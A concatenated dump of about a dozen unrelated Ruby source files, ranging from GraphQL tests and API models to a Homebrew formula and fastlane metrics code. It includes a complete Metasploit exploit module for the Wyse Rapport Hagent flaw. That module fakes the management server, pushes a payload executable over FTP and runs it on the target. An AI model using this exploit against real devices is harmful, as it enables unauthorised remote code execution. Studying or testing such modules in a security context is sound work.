to nil" do field.resolve = nil acts_like_default_resolver(field, :internal_prop, :new_prop) end end end describe "#name" do it "must be a string" do dummy_query = GraphQL::ObjectType.define do name "QueryType" end invalid_field = GraphQL::Field.new invalid_field.type = dummy_query invalid_field.name = :symbol_name dummy_query.fields["symbol_name"] = invalid_field err = assert_raises(GraphQL::Schema::InvalidTypeError) { GraphQL::Schema.define(query: dummy_query) } assert_equal "QueryType is invalid: field :symbol_name name must return String, not Symbol (:symbol_name)", err.message end end describe "#hash_key" do let(:source_field) { FieldSpecReturnType.get_field("source") } after { source_field.hash_key = :source } it "looks up a value with obj[hash_key]" do resolved_source = source_field.resolve({source: "Abc", "source" => "Xyz"}, nil, nil) assert_equal :source, source_field.hash_key assert_equal "Abc", resolved_source end it "can be reassigned" do source_field.hash_key = "source" resolved_source = source_field.resolve({source: "Abc", "source" => "Xyz"}, nil, nil) assert_equal "source", source_field.hash_key assert_equal "Xyz", resolved_source end end describe "#metadata" do it "accepts user-defined metadata" do similar_cheese_field = Dummy::CheeseType.get_field("similarCheese") assert_equal [:cheeses, :milks], similar_cheese_field.metadata[:joins] end end describe "reusing a GraphQL::Field" do let(:schema) { int_field = GraphQL::Field.define do type types.Int argument :value, types.Int resolve -> (obj, args, ctx) { args[:value] } end query_type = GraphQL::ObjectType.define do name "Query" field :int, int_field field :int2, int_field field :int3, field: int_field end GraphQL::Schema.define do query(query_type) end } it "can be used in two places" do res = schema.execute %|{ int(value: 1) int2(value: 2) int3(value: 3) }| assert_equal({ "int" => 1, "int2" => 2, "int3" => 3}, res["data"], "It works in queries") res = schema.execute %|{ __type(name: "Query") { fields { name } } }| query_field_names = res["data"]["__type"]["fields"].map { |f| f["name"] } assert_equal ["int", "int2", "int3"], query_field_names, "It works in introspection" end end describe "#redefine" do it "can add arguments" do int_field = GraphQL::Field.define do argument :value, types.Int end int_field_2 = int_field.redefine do argument :value_2, types.Int end assert_equal 1, int_field.arguments.size assert_equal 2, int_field_2.arguments.size end it "rebuilds when the resolve_proc is default NameResolve" do int_field = GraphQL::Field.define do name "a" end int_field_2 = int_field.redefine(name: "b") object = Struct.new(:a, :b).new(1, 2) assert_equal 1, int_field.resolve_proc.call(object, nil, nil) assert_equal 2, int_field_2.resolve_proc.call(object, nil, nil) end it "keeps the same resolve_proc when it is not a NameResolve" do int_field = GraphQL::Field.define do name "a" resolve ->(obj, _, _) { 'GraphQL is Kool' } end int_field_2 = int_field.redefine(name: "b") assert_equal( int_field.resolve_proc.call(nil, nil, nil), int_field_2.resolve_proc.call(nil, nil, nil) ) end it "keeps the same resolve_proc when it is a built in property resolve" do int_field = GraphQL::Field.define do name "a" property :c end int_field_2 = int_field.redefine(name: "b") object = Struct.new(:a, :b, :c).new(1, 2, 3) assert_equal 3, int_field.resolve_proc.call(object, nil, nil) assert_equal 3, int_field_2.resolve_proc.call(object, nil, nil) end it "copies metadata, even out-of-bounds assignments" do int_field = GraphQL::Field.define do metadata(:a, 1) argument :value, types.Int end int_field.metadata[:b] = 2 int_field_2 = int_field.redefine do metadata(:c, 3) argument :value_2, types.Int end assert_equal({a: 1, b: 2}, int_field.metadata) assert_equal({a: 1, b: 2, c: 3}, int_field_2.metadata) end end describe "#resolve_proc" do it "ensures the definition was called" do field = GraphQL::Field.define do resolve ->(o, a, c) { :whatever } end assert_instance_of Proc, field.resolve_proc end end end
29.161702
125
0.645411
284846b39480f782c354d8950cb44da5e86452c0
5,788
=begin #Kubernetes #No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.13.4 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.2.3 =end require 'date' module Kubernetes # DeploymentStrategy describes how to replace existing pods with new ones. class V1DeploymentStrategy # Rolling update config params. Present only if DeploymentStrategyType = RollingUpdate. attr_accessor :rolling_update # Type of deployment. Can be \"Recreate\" or \"RollingUpdate\". Default is RollingUpdate. attr_accessor :type # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'rolling_update' => :'rollingUpdate', :'type' => :'type' } end # Attribute type mapping. def self.swagger_types { :'rolling_update' => :'V1RollingUpdateDeployment', :'type' => :'String' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v} if attributes.has_key?(:'rollingUpdate') self.rolling_update = attributes[:'rollingUpdate'] end if attributes.has_key?(:'type') self.type = attributes[:'type'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properies with the reasons def list_invalid_properties invalid_properties = Array.new return invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && rolling_update == o.rolling_update && type == o.type end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [rolling_update, type].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = Kubernetes.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map{ |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
28.94
107
0.626123
f8d65be39615af47de37dd7d559c7fe1c7c7c806
142
class AddImageFilter < ActiveRecord::Migration[5.0] def change add_column :images, :filter, :integer, null: false, default: 0 end end
23.666667
66
0.725352
1a60eda2e633ac1ec5542cdf4da6c278793cc9c2
3,480
$:.unshift(File.dirname(__FILE__)) unless $:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__))) require 'rubygems' require 'mechanize' module Mygist class GistApi class NotLoggedIn < StandardError; end def initialize(username = nil, password = nil) @username = username @password = password @login_page = "https://gist.github.com/login?return_to=gist" @logout_page = "http://gist.github.com/logout" @session_page = "https://gist.github.com/session" @post_page = "http://gist.github.com" @list_page = "http://gist.github.com/gists" @mine_page = "http://gist.github.com/mine" @agent = WWW::Mechanize.new @is_logged = false end def config!(config_file = "~/.gist") config_file = File.expand_path(config_file) if config_file =~ /~/ cfg = YAML::load(File.read(config_file)) @username = cfg["username"] @password = cfg["password"] @login_page ||= cfg["login_page"] @logout_page ||= cfg["logout_page"] @session_page ||= cfg["session_page"] @post_page ||= cfg["post_page"] @list_page ||= cfg["list_page"] @mine_page ||= cfg["mine_page"] end def login! page = @agent.get(@login_page) login_form = page.forms.first login_form.login = @username login_form.password = @password @login_page = @agent.submit(login_form) @is_logged = (@login_page.uri.to_s != @session_page) end def logout! @agent.get(@logout_page) nil end def create(snippet, file_name = nil, type = nil) raise NotLoggedIn unless @is_logged page = @agent.get(@post_page) gist_form = page.forms.first gist_form.field("file_ext[gistfile1]").value = type if type gist_form.field("file_name[gistfile1]").value = file_name if file_name gist_form.field("file_contents[gistfile1]").value = snippet if snippet gist_page = @agent.submit(gist_form) return $1 if gist_page.uri.to_s =~ /\/(\d+)$/ end def list page = @agent.get(@is_logged ? @mine_page : @list_page) page.links.select { |l| l.text =~ /^gist/ }.map { |l| l.uri.to_s.gsub("\/", "") } end def show(gist_id, format = ".txt") case format when ".js" "<script src='#{@post_page}/#{gist_id}.js'></script>" else page = @agent.get("#{@post_page}/#{gist_id}.txt") page.content end end def delete!(gist_id) raise NotLoggedIn unless @is_logged @agent.get("#{@post_page}/delete/#{gist_id}") nil end def update!(gist_id, snippet, file_name = nil, type = nil) page = @agent.get("#{@list_page}/#{gist_id}/edit") update_form = page.forms.first file_content_name = page.search("//textarea[@class='file-contents']").first.attributes['name'] file_extension_name = page.search("//div[@class='gist-lang']").first.search("//select").first.attributes['name'] file_name_name = page.search("//input[@class='gist-name-textbox']").first.attributes['name'] update_form.field(file_content_name).value = snippet unless file_name.nil? update_form.field(file_name_name).value = file_name else unless type.nil? update_form.field(file_extension_name).value = type update_form.field(file_name_name).value = '' end end @agent.submit(update_form) nil end end end
32.830189
118
0.624425
4a1e9e1dc22ea967bede6683dad971219b48dccc
2,142
class Terraform < Formula desc "Tool to build, change, and version infrastructure" homepage "https://www.terraform.io/" url "https://github.com/hashicorp/terraform/archive/v0.14.1.tar.gz" sha256 "4a71bd647baa4c833bd8cb36cb8185cf29dcee59802870aebdbf1110eb7e6f36" license "MPL-2.0" head "https://github.com/hashicorp/terraform.git" livecheck do url "https://releases.hashicorp.com/terraform/" regex(%r{href=.*?v?(\d+(?:\.\d+)+)/?["' >]}i) end bottle do cellar :any_skip_relocation sha256 "3043bf180e5681abb45413101c0e862316b56af64d6e51cd01295be60ef487fa" => :big_sur sha256 "57df41911eb436db94e5a82098ba4b0870a53b6dd798d45775d8b9a4cca3a256" => :catalina sha256 "adf3b9e0c21bd39e760fa8db61799b98ea2a121b95aca7a7e24521e002a04ad7" => :mojave end depends_on "go" => :build conflicts_with "tfenv", because: "tfenv symlinks terraform binaries" def install # v0.6.12 - source contains tests which fail if these environment variables are set locally. ENV.delete "AWS_ACCESS_KEY" ENV.delete "AWS_SECRET_KEY" # resolves issues fetching providers while on a VPN that uses /etc/resolv.conf # https://github.com/hashicorp/terraform/issues/26532#issuecomment-720570774 ENV["CGO_ENABLED"] = "1" system "go", "build", *std_go_args, "-ldflags", "-s -w" end test do minimal = testpath/"minimal.tf" minimal.write <<~EOS variable "aws_region" { default = "us-west-2" } variable "aws_amis" { default = { eu-west-1 = "ami-b1cf19c6" us-east-1 = "ami-de7ab6b6" us-west-1 = "ami-3f75767a" us-west-2 = "ami-21f78e11" } } # Specify the provider and access details provider "aws" { access_key = "this_is_a_fake_access" secret_key = "this_is_a_fake_secret" region = var.aws_region } resource "aws_instance" "web" { instance_type = "m1.small" ami = var.aws_amis[var.aws_region] count = 4 } EOS system "#{bin}/terraform", "init" system "#{bin}/terraform", "graph" end end
30.6
96
0.656396
03eb2cccd71ee1e127a65be223d804477df8da46
9,163
require_relative 'helper' module FastlaneCore class ToolCollector # Learn more at https://docs.fastlane.tools/#metrics # This is the original error reporting mechanism, which has always represented # either controlled (UI.user_error!), or uncontrolled (UI.crash!, anything else) # exceptions. # # Thus, if you call `did_crash`, it will record the failure both here, and in the # newer, more specific `crash` field. # # This value is a String, which is the name of the tool that caused the error attr_reader :error # This is the newer field for tracking only uncontrolled exceptions. # # This is written to only when `did_crash` is called, and therefore excludes # controlled exceptions. # # This value is a boolean, which is true if the error was an uncontrolled exception attr_reader :crash def initialize @crash = false end def did_launch_action(name) name = name_to_track(name.to_sym) return unless name launches[name] += 1 versions[name] ||= determine_version(name) end # Call when the problem is a caught/controlled exception (e.g. via UI.user_error!) def did_raise_error(name) name = name_to_track(name.to_sym) return unless name @error = name # Don't write to the @crash field so that we can distinguish this exception later # as being controlled end # Call when the problem is an uncaught/uncontrolled exception (e.g. via UI.crash!) def did_crash(name) name = name_to_track(name.to_sym) return unless name # Write to the @error field to maintain the historical behavior of the field, so # that the server gets the same data in that field from old and new clients @error = name # Also specifically note that this exception was uncontrolled in the @crash field @crash = true end def did_finish return false if FastlaneCore::Env.truthy?("FASTLANE_OPT_OUT_USAGE") if !did_show_message? and !Helper.ci? show_message end require 'excon' url = ENV["FASTLANE_METRICS_URL"] || "https://fastlane-metrics.fabric.io/public" analytic_event_body = create_analytic_event_body # Never generate web requests during tests unless Helper.test? Thread.new do begin Excon.post(url, body: analytic_event_body, headers: { "Content-Type" => 'application/json' }) rescue # we don't want to show a stack trace if something goes wrong end end end return true rescue # We don't care about connection errors end def create_analytic_event_body analytics = [] timestamp_seconds = Time.now.to_i # `fastfile_id` helps us track success/failure metrics for Fastfiles we # generate as part of an automated process. fastfile_id = ENV["GENERATED_FASTFILE_ID"] if fastfile_id && launches.size == 1 && launches['fastlane'] if crash completion_status = 'crash' elsif error completion_status = 'error' else completion_status = 'success' end analytics << event_for_web_onboarding(fastfile_id, completion_status, timestamp_seconds) end launches.each do |action, count| action_version = versions[action] || 'unknown' if crash && error == action action_completion_status = 'crash' elsif action == error action_completion_status = 'error' else action_completion_status = 'success' end analytics << event_for_completion(action, action_completion_status, action_version, timestamp_seconds) analytics << event_for_count(action, count, action_version, timestamp_seconds) end { analytics: analytics }.to_json end def show_message UI.message("Sending Crash/Success information") UI.message("Learn more at https://docs.fastlane.tools/#metrics") UI.message("No personal/sensitive data is sent. Only sharing the following:") UI.message(launches) UI.message(@error) if @error UI.message("This information is used to fix failing tools and improve those that are most often used.") UI.message("You can disable this by adding `opt_out_usage` at the top of your Fastfile") end def launches @launches ||= Hash.new(0) end # Maintains a hash of tool names to their detected versions. # # This data is sent in the same manner as launches, as an inline form-encoded JSON value in the POST. # For example: # # { # match: '0.5.0', # fastlane: '1.86.1' # } def versions @versions ||= {} end # Override this in subclasses def is_official?(name) return true end # Returns nil if we shouldn't track this action # Returns a (maybe modified) name that should be sent to the analytic ingester # Modificiation is used to prefix the action name with the name of the plugin def name_to_track(name) return nil unless is_official?(name) name end def did_show_message? file_name = ".did_show_opt_info" legacy_path = File.join(File.expand_path('~'), file_name) new_path = File.join(FastlaneCore.fastlane_user_dir, file_name) did_show = File.exist?(new_path) || File.exist?(legacy_path) return did_show if did_show File.write(new_path, '1') false end def determine_version(name) self.class.determine_version(name) end def self.determine_version(name) unless name.to_s.start_with?("fastlane-plugin") # In the early days before the mono gem this was more complicated # Now we have a mono version number, which makes this method easy # for all built-in actions and tools require 'fastlane/version' return Fastlane::VERSION end # For plugins we still need to load the specific version begin name = name.to_s.downcase # We need to pre-load the version file because tools that are invoked through their actions # will not yet have run their action, and thus will not yet have loaded the file which defines # the module and constant we need. require File.join(name, "version") # Go from :foo_bar to 'FooBar' module_name = name.fastlane_module # Look up the VERSION constant defined for the given tool name, # or return 'unknown' if we can't find it where we'd expect if Kernel.const_defined?(module_name) tool_module = Kernel.const_get(module_name) if tool_module.const_defined?('VERSION') return tool_module.const_get('VERSION') end end rescue LoadError # If there is no version file to load, this is not a tool for which # we can report a particular version end return nil end def event_for_web_onboarding(fastfile_id, completion_status, timestamp_seconds) { event_source: { oauth_app_name: oauth_app_name, product: 'fastlane_web_onboarding' }, actor: { name: 'customer', detail: fastfile_id }, action: { name: 'fastfile_executed' }, primary_target: { name: 'fastlane_completion_status', detail: completion_status }, secondary_target: { name: 'executed', detail: secondary_target_string('') }, millis_since_epoch: timestamp_seconds * 1000, version: 1 } end def event_for_completion(action, completion_status, version, timestamp_seconds) { event_source: { oauth_app_name: oauth_app_name, product: 'fastlane' }, actor: { name: 'action', detail: action }, action: { name: 'execution_completed' }, primary_target: { name: 'completion_status', detail: completion_status }, secondary_target: { name: 'version', detail: secondary_target_string(version) }, millis_since_epoch: timestamp_seconds * 1000, version: 1 } end def event_for_count(action, count, version, timestamp_seconds) { event_source: { oauth_app_name: oauth_app_name, product: 'fastlane' }, actor: { name: 'action', detail: action }, action: { name: 'execution_counted' }, primary_target: { name: 'count', detail: count.to_s || "1" }, secondary_target: { name: 'version', detail: secondary_target_string(version) }, millis_since_epoch: timestamp_seconds * 1000, version: 1 } end def oauth_app_name return 'fastlane-enhancer' end def secondary_target_string(string) return string end end end
30.042623
110
0.627196
5d9384307f4740608adbc3ba055e218f54d91193
993
module ItunesSearch class Search attr_accessor :query, :media, :entity, :limit, :result_hash, :json, :search_type alias :original_method_missing :method_missing def initialize(search_type, query, media, entity, limit) self.search_type = search_type self.query = query self.media = media self.entity = entity self.limit = limit end def fetch itunes_search_url = "#{ItunesSearch::ENDPOINT}/search/?#{self.search_type}=#{self.query}&media=#{media}&entity=#{entity}&limit=#{limit}" puts "itunes_search_url: #{itunes_search_url}" self.json = RestClient.get(itunes_search_url) puts self.json self.json end def results ra = [] ra = self.to_hash["results"].collect {|r| ItunesSearch::Result.new(r)} unless self.to_hash["results"].empty? puts "result" puts ra.inspect return ra end def to_hash self.result_hash ||= JSON.parse(fetch) end end end
29.205882
142
0.646526
5dcb3f0886bf5f5108e3e5c1d1696ce74a3970e8
3,554
module SystemCheck # Base class for Checks. You must inherit from here # and implement the methods below when necessary class BaseCheck include ::SystemCheck::Helpers # Define a custom term for when check passed # # @param [String] term used when check passed (default: 'yes') def self.set_check_pass(term) @check_pass = term end # Define a custom term for when check failed # # @param [String] term used when check failed (default: 'no') def self.set_check_fail(term) @check_fail = term end # Define the name of the SystemCheck that will be displayed during execution # # @param [String] name of the check def self.set_name(name) @name = name end # Define the reason why we skipped the SystemCheck # # This is only used if subclass implements `#skip?` # # @param [String] reason to be displayed def self.set_skip_reason(reason) @skip_reason = reason end # Term to be displayed when check passed # # @return [String] term when check passed ('yes' if not re-defined in a subclass) def self.check_pass call_or_return(@check_pass) || 'yes' end ## Term to be displayed when check failed # # @return [String] term when check failed ('no' if not re-defined in a subclass) def self.check_fail call_or_return(@check_fail) || 'no' end # Name of the SystemCheck defined by the subclass # # @return [String] the name def self.display_name call_or_return(@name) || self.name end # Skip reason defined by the subclass # # @return [String] the reason def self.skip_reason call_or_return(@skip_reason) || 'skipped' end # Does the check support automatically repair routine? # # @return [Boolean] whether check implemented `#repair!` method or not def can_repair? self.class.instance_methods(false).include?(:repair!) end def can_skip? self.class.instance_methods(false).include?(:skip?) end def is_multi_check? self.class.instance_methods(false).include?(:multi_check) end # Execute the check routine # # This is where you should implement the main logic that will return # a boolean at the end # # You should not print any output to STDOUT here, use the specific methods instead # # @return [Boolean] whether check passed or failed def check? raise NotImplementedError end # Execute a custom check that cover multiple unities # # When using multi_check you have to provide the output yourself def multi_check raise NotImplementedError end # Prints troubleshooting instructions # # This is where you should print detailed information for any error found during #check? # # You may use helper methods to help format the output: # # @see #try_fixing_it # @see #fix_and_rerun # @see #for_more_infromation def show_error raise NotImplementedError end # When implemented by a subclass, will attempt to fix the issue automatically def repair! raise NotImplementedError end # When implemented by a subclass, will evaluate whether check should be skipped or not # # @return [Boolean] whether or not this check should be skipped def skip? raise NotImplementedError end def self.call_or_return(input) input.respond_to?(:call) ? input.call : input end private_class_method :call_or_return end end
27.338462
92
0.670512
bbd61c76b8039d50c4867cee1403f62d1855c602
2,327
module FHIR # fhir/device_request_parameter.rb class DeviceRequestParameter < BackboneElement include Mongoid::Document embeds_one :code, class_name: 'FHIR::CodeableConcept' embeds_one :valueCodeableConcept, class_name: 'FHIR::CodeableConcept' embeds_one :valueQuantity, class_name: 'FHIR::Quantity' embeds_one :valueRange, class_name: 'FHIR::Range' embeds_one :valueBoolean, class_name: 'FHIR::PrimitiveBoolean' def as_json(*args) result = super unless self.code.nil? result['code'] = self.code.as_json(*args) end unless self.valueCodeableConcept.nil? result['valueCodeableConcept'] = self.valueCodeableConcept.as_json(*args) end unless self.valueQuantity.nil? result['valueQuantity'] = self.valueQuantity.as_json(*args) end unless self.valueRange.nil? result['valueRange'] = self.valueRange.as_json(*args) end unless self.valueBoolean.nil? result['valueBoolean'] = self.valueBoolean.value serialized = Extension.serializePrimitiveExtension(self.valueBoolean) result['_valueBoolean'] = serialized unless serialized.nil? end result.delete('id') unless self.fhirId.nil? result['id'] = self.fhirId result.delete('fhirId') end result end def self.transform_json(json_hash, target = DeviceRequestParameter.new) result = self.superclass.transform_json(json_hash, target) result['code'] = CodeableConcept.transform_json(json_hash['code']) unless json_hash['code'].nil? result['valueCodeableConcept'] = CodeableConcept.transform_json(json_hash['valueCodeableConcept']) unless json_hash['valueCodeableConcept'].nil? result['valueQuantity'] = Quantity.transform_json(json_hash['valueQuantity']) unless json_hash['valueQuantity'].nil? result['valueRange'] = Range.transform_json(json_hash['valueRange']) unless json_hash['valueRange'].nil? result['valueBoolean'] = PrimitiveBoolean.transform_json(json_hash['valueBoolean'], json_hash['_valueBoolean']) unless json_hash['valueBoolean'].nil? result end end end
45.627451
155
0.658358
211e9dd7c73fc57ca58dca7948644864764ffc8c
7,034
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'timeout' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::FtpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution', 'Description' => %q{ This module exploits the Wyse Rapport Hagent service by pretending to be a legitimate server. This process involves starting both HTTP and FTP services on the attacker side, then contacting the Hagent service of the target and indicating that an update is available. The target will then download the payload wrapped in an executable from the FTP service. }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Author' => 'kf', 'References' => [ ['CVE', '2009-0695'], ['OSVDB', '55839'], ['US-CERT-VU', '654545'], ['URL', 'http://snosoft.blogspot.com/'], ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'], ['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'], ['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'], ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, 'BadChars' => '', }, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Targets' => [ [ 'Windows XPe x86',{'Platform' => 'win',}], [ 'Wyse Linux x86', {'Platform' => 'linux',}], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 10 2009' )) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]), Opt::RPORT(80), ], self.class) end def exploit if(datastore['SRVPORT'].to_i != 21) print_error("This exploit requires the FTP service to run on port 21") return end # Connect to the target service print_status("Connecting to the target") connect() # Start the FTP service print_status("Starting the FTP server") start_service() # Create the executable with our payload print_status("Generating the EXE") @exe_file = generate_payload_exe if target['Platform'] == 'win' maldir = "C:\\" # Windows malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe" co = "XP" elsif target['Platform'] == 'linux' maldir = "//tmp//" # Linux malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin" co = "LXS" end @exe_sent = false # Start the HTTP service print_status("Starting the HTTP service") wdmserver = Rex::Socket::TcpServer.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) # Let this close automatically add_socket(wdmserver) wdmserver_port = wdmserver.getsockname[2] print_status("Starting the HTTP service on port #{wdmserver_port}") fakerapport = Rex::Socket.source_address(rhost) fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0] mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|" # FTP Credentials ftpserver = Rex::Socket.source_address(rhost) ftpuser = Rex::Text.rand_text_alphanumeric(rand(8)+1) ftppass = Rex::Text.rand_text_alphanumeric(rand(8)+1) ftpport = 21 ftpsecure = '0' incr = 10 pwn1 = "&UP0|&SI=1|UR=9" + "|CO \x0f#{co}\x0f|#{incr}" + # "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" + "|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}" pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}" pwn3 = "|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + # "|RB|#{incr+1}" + # "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" + #"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + # FTP Paramaters "|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" + "|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" + "|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" + "|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" + # No clue "|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|" if target['Platform'] == 'win' pwn = pwn1 + pwn3 elsif target['Platform'] == 'linux' pwn = pwn1 + pwn2 + pwn3 end # Send the malicious request sock.put(mal) # Download some response data resp = sock.get_once(-1, 10) print_status("Received: #{resp}") if not resp print_error("No reply from the target, this may not be a vulnerable system") return end print_status("Waiting on a connection to the HTTP service") begin Timeout.timeout(190) do done = false while (not done and session = wdmserver.accept) req = session.recvfrom(2000)[0] next if not req next if req.empty? print_status("HTTP Request: #{req.split("\n")[0].strip}") case req when /V01/ print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)") res = pwn when /V02/ print_status("++ device sending V02 query...") res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|" done = true when /V55/ print_status("++ device sending V55 query...") res = pwn when /POST/ # PUT is used for non encrypted requests. print_status("++ device sending V55 query...") res = pwn done = true else print_status("+++ sending generic response...") res = pwn end print_status("Sending reply: #{res}") session.put(res) session.close end end rescue ::Timeout::Error print_status("Timed out waiting on the HTTP request") wdmserver.close disconnect() stop_service() return end print_status("Waiting on the FTP request...") stime = Time.now.to_f while(not @exe_sent) break if (stime + 90 < Time.now.to_f) select(nil, nil, nil, 0.25) end if(not @exe_sent) print_status("No executable sent :(") end stop_service() wdmserver.close() handler disconnect end def on_client_command_retr(c,arg) print_status("#{@state[c][:name]} FTP download request for #{arg}") conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end c.put("150 Opening BINARY mode data connection for #{arg}\r\n") conn.put(@exe_file) c.put("226 Transfer complete.\r\n") conn.close @exe_sent = true end def on_client_command_size(c,arg) print_status("#{@state[c][:name]} FTP size request for #{arg}") c.put("213 #{@exe_file.length}\r\n") end end
28.593496
104
0.628092
26af5df7e373fd2754ba6e81a784bcde4e72f4fb
5,439
# Copyright (c) 2016, 2019, Oracle and/or its affiliates. All rights reserved. require 'date' # rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength module OCI # CreateTransferApplianceDetails model. class Dts::Models::CreateTransferApplianceDetails # @return [OCI::Dts::Models::ShippingAddress] attr_accessor :customer_shipping_address # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { # rubocop:disable Style/SymbolLiteral 'customer_shipping_address': :'customerShippingAddress' # rubocop:enable Style/SymbolLiteral } end # Attribute type mapping. def self.swagger_types { # rubocop:disable Style/SymbolLiteral 'customer_shipping_address': :'OCI::Dts::Models::ShippingAddress' # rubocop:enable Style/SymbolLiteral } end # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity # rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral # Initializes the object # @param [Hash] attributes Model attributes in the form of hash # @option attributes [OCI::Dts::Models::ShippingAddress] :customer_shipping_address The value to assign to the {#customer_shipping_address} property def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } self.customer_shipping_address = attributes[:'customerShippingAddress'] if attributes[:'customerShippingAddress'] raise 'You cannot provide both :customerShippingAddress and :customer_shipping_address' if attributes.key?(:'customerShippingAddress') && attributes.key?(:'customer_shipping_address') self.customer_shipping_address = attributes[:'customer_shipping_address'] if attributes[:'customer_shipping_address'] end # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity # rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines # Checks equality by comparing each attribute. # @param [Object] other the other object to be compared def ==(other) return true if equal?(other) self.class == other.class && customer_shipping_address == other.customer_shipping_address end # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, 